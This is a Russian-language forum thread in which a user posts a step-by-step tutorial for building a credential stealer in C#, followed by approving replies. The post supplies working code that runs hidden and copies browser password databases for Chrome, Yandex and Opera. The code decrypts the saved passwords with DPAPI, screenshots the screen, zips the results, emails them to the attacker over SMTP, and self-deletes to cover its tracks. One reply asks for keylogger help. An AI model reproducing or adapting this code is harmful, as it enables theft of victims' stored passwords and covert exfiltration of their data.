[Авторская статья] Пишем стиллер на C#

Тема в разделе "C#", создана пользователем Allkatraz, 11.08.18.Просмотров: 1.936

  1. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    8 дней с нами
    Вторая часть : Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Данная статья создана лишь в ознакомительных целях
    Для этого нам понадобится Microsoft Visual Studio.
    ACTION
    Для начала создадим проект : Файл - Создать - Проект. Выбираем консольное приложение.
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Чтобы нашу программу не было видно выполняем следующие действия : Проект - Свойства : SimpleStealer. В типе выходных данных ставим "Приложение Windows".
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Создадим папку, где будут лежать логи ( пишем это в Main'е ).
    Код:
    Directory.CreateDirectory(Path.GetTempPath() + "log");
    Создаем класс Passwords ( Проект - Добавить класс )
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    В этот класс добавляем следующий код

    Код:
    static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
            {
                if (File.Exists(Path.GetTempPath() + @"log\Login Data"))    // Если файл по данному пути существует, то удаляем его
                {
                    File.Delete(Path.GetTempPath() + @"log\Login Data");
                }
                File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data");      // копируем файл с паролями для того, чтобы не закрывать браузер
                dbPath = Path.GetTempPath() + @"log\Login Data";
                var connectionString = "Data Source=" + dbPath + ";pooling=false";
                using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
                using (var cmd = conn.CreateCommand())
                {
    
    
                    cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
    
                    conn.Open();
                    using (var reader = cmd.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            var encryptedData = (byte[])reader[0];
    
                            var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);   // расшифровка паролей
                            var plainText = Encoding.ASCII.GetString(decodedData);
    
                            yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
    
                        }
    
                    }
                    conn.Close();
                }
            }
    Далее : Проект - Добавить ссылку. Ищем System.Security
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Следующий шаг : Проект - Управление пакетами Nuget. Вбиваем в поиск "sqlite" и устанавливаем пакет
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Теперь переходим обратно в Program.cs и вставляем следующий код
    Код:
    string[] browser_paths = {
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
                    Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
                };
                string content = "";
                foreach (string p in browser_paths)   //идем по папкам
                {
                    var pas = Passwords.ReadPass(p);   
                    if (File.Exists(p))                   // если файл с паролями существует, то выполняем следующие действия
                    {
                        foreach (var item in pas)
                        {
                            if ((item.Item2.Length > 0) && (item.Item2.Length > 0))      // если значения логина и пароля не пустые, то заносим их в переменную
                            {
                                content += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
                                content += "==================\r\n";
                            }
                        }
                    }
                }
                if (File.Exists(Path.GetTempPath() + @"log\Login Data"))
                {
                    File.Delete(Path.GetTempPath() + @"log\Login Data");
                }
                File.WriteAllText(Path.GetTempPath() + @"log\Passwords.txt", content); // записываем пароли в файл
    Я выбрал три самых популярных на мой взгляд браузера : хром, яндекс и опера.
    Компилим, в проводнике вбиваем %TEMP% и ищем папку "log" и наблюдаем следующий результат.
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    В качестве бонуса покажу вам как сделать скриншот экрана.
    Код:
    var bounds = Screen.GetBounds(new Point(0, 0));
                var bmp = new Bitmap(bounds.Width, bounds.Height);
                using (var g = Graphics.FromImage(bmp))
                    g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
                bmp.Save(Path.GetTempPath() + @"log\screenshot.bmp");
    Для того, чтобы всё это работало выполняем следующие действия : Проект - Добавить ссылку и ищем System.Drawing и System.Windows.Forms.
    Для того, чтобы заархивировать папку вставляем следующий код
    Код:
    ZipFile.CreateFromDirectory(Path.GetTempPath() + "log", Path.GetTempPath() + "log.zip");
    Для того, чтобы он работал необходимо добавить ссылку на System.IO.Compression.FileSystem
    Теперь пришло время сделать отправку на почту. Создаем новый класс MailSend и вставляем в него следующий код.
    Код:
    public static void Send()
            {
                MailAddress from = new MailAddress("Адрес почты, с которого мы отправим письмо", "Имя (необязательно)");
                MailAddress to = new MailAddress("Куда отправить");
                MailMessage m = new MailMessage(from, to);
                m.Subject = "Пришли пароли";
                m.Body = "<h2>Изи пароли</h2>";
                m.IsBodyHtml = true;
                m.Attachments.Add(new Attachment(Path.GetTempPath() + "log.zip"));
                SmtpClient smtp = new SmtpClient("smtp.rambler.ru", 587);
                smtp.Credentials = new NetworkCredential("Адрес почты, с которого мы отправим письмо", "Пароль от почты");
                smtp.EnableSsl = true;
                smtp.Send(m);
            }
    Я отправлял от адреса почты, который зареган в рамблере, на почту яндекса. Если вы будете отправлять, например, с яндекса, то "smtp.rambler.ru" надо поменять на "smtp.yandex.ru" ( порт тоже может измениться поэтому гуглите : "smtp yandex port").
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Добавляем в Main этот код
    Код:
    MailSend.Send();
    Скрываем после себя следы.
    Код:
                Directory.Delete(Path.GetTempPath() + "log", true);
                ProcessStartInfo Info = new ProcessStartInfo();
                Info.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath;
                Info.WindowStyle = ProcessWindowStyle.Hidden;
                Info.CreateNoWindow = true;
                Info.FileName = "cmd.exe";
                Process.Start(Info);
    Для того, чтобы всё это работало, нужно добавить в начало Program.cs
    Код:
    using System;
    using System.IO;
    using System.Windows.Forms;
    using System.Drawing;
    using System.IO.Compression;
    using System.Diagnostics;
    using System.Threading;
    Вот это добавить в начало Passwords.cs
    Код:
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.IO;
    
    А вот это добавить в MailSend.cs
    Код:
    using System.Net;
    using System.Net.Mail;
    using System.IO;
    Все готово, запускаем программу и ждем, когда к нам на почту придет письмо.
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Видим, что у нас письмо появилось в спаме. Чтобы этого избежать, можно просто добавить в контакты почту, с которой мы отправляем логи.
    Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником
    Стиллер готов. Спасибо за внимание тем, кто дочитал до конца :Roflandarova:
    Если эта статья понравится людям, то напишу вторую часть. Также если будут вопросы, то пишите.
     
    Последнее редактирование: 26.08.18
  2. inkviz96 PYTHON

    inkviz96

    Продвинутый

    146 сообщения
    52 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    2 дня с нами
    годно. Хоть кто-то пишет подобные статья, вместо всякой фигни
     
  3. Grrebovich Любопытный

    Grrebovich

    21 сообщения
    5 симпатий
    0
    розыгрышей
    5 лет с нами
    8 месяцев с нами
    11 дней с нами
    Ждем вторую часть!
     
  4. Itachi111 Новичок

    Itachi111

    5 сообщения
    1 симпатий
    0
    розыгрышей
    5 лет с нами
    8 месяцев с нами
    6 дней с нами
    Красава, спасибо, как раз искал такой ресурс
     
  5. inkviz96 PYTHON

    inkviz96

    Продвинутый

    146 сообщения
    52 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    2 дня с нами
    А может кто помочь с кейлогером на питоне?
     
  6. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    8 дней с нами
    Тут вообще-то тема немного другая, но зачем писать малварь на питоне ? Я знаю поверхностно питон ( основной синтаксис ), можешь в лс отписать, что за проблема, посмотрим.
     
  7. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    8 дней с нами
    Кстати, забыл сказать, что в почте, с которой вы отправляете письмо нужно разрешить работу почтовым программам. Иначе письмо не придет ( в яндексе вроде не надо, но в рамблере нужно. И в гугле тоже вроде нужно )
     
  8. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    8 дней с нами
    Следующая часть точно выйдет, в ней я исправлю удаление файла log.zip и добавлю несколько интересных функций
     
  9. pers1981 Прохожий

    pers1981

    37 сообщения
    13 симпатий
    0
    розыгрышей
    5 лет с нами
    9 месяцев с нами
    11 дней с нами
    У меня вопрос а где находиться Main'е в который надо написать код?
     
  10. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    8 дней с нами
    Кхм, ну ты хоть азы языка то знаешь? Main - основная часть программы.
     
  11. Allkatraz Прохожий

    Allkatraz

    37 сообщения
    25 симпатий
    0
    розыгрышей
    5 лет с нами
    10 месяцев с нами
    8 дней с нами
    В классе Program.cs находится метод Main.
     
  12. pers1981 Прохожий

    pers1981

    37 сообщения
    13 симпатий
    0
    розыгрышей
    5 лет с нами
    9 месяцев с нами
    11 дней с нами
    Спасибо, и нет я вообще не знаю язык программирования.